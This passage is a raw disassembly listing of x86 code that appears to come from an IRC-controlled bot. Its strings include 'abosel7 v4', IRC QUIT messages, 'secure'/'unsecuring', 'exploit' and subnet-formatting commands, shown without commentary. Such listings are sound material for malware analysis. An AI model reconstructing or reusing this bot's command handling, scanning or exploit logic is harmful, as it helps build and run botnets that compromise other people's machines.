eax, eax pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax call near ptr 2670AE9h nop push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDE8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2670ECAh jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j nop call near ptr 2680925h push eax push offset unk_42BDAC loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D128 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD70 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h nop call near ptr 2670ECAh jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 2680925h push eax push offset unk_42BD34 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAE90 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD10 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BCE4 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCB8 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BC94 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC68 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC50 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC34 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC08 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BBE0 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBC0 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh nop call near ptr 269061Dh xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBA8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BB88 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB68 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB44 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 2670ECAh jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj nop call near ptr 2680925h push eax lea eax, [ebp+var_2C4] push offset unk_42BB08 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BAEC push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB00C call dword_4CAECC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAD0 jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAB4 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BA9C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2670ECAh jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 2680925h push eax push offset unk_42BA64 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA4C call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA48 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA28 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 2670ECAh jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 2680925h push eax push offset unk_42B9EC jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42B9D4 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACB4 call sub_41A88B pop ecx push eax push offset unk_42B9A8 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B958 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B924 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B914 push offset dword_42B904 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B8F8 push offset dword_42B8E8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8C0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2670ECAh jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 2680925h push eax push offset dword_42B884 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B858 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 2670ECAh jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 2680925h push eax push offset unk_42B818 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B7E4 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2670ECAh jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call near ptr 2680925h nop push eax push offset dword_42B7A8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B6F8 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B6E8 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9C4 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6BC jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B690 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9C4 loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE728, ebx jz short loc_404A4A push offset dword_4CE108 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B654 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B614 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE108 call sub_41BEB0 pop ecx mov dword_4CE728, 1 pop ecx push esi push offset unk_42B5E8 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 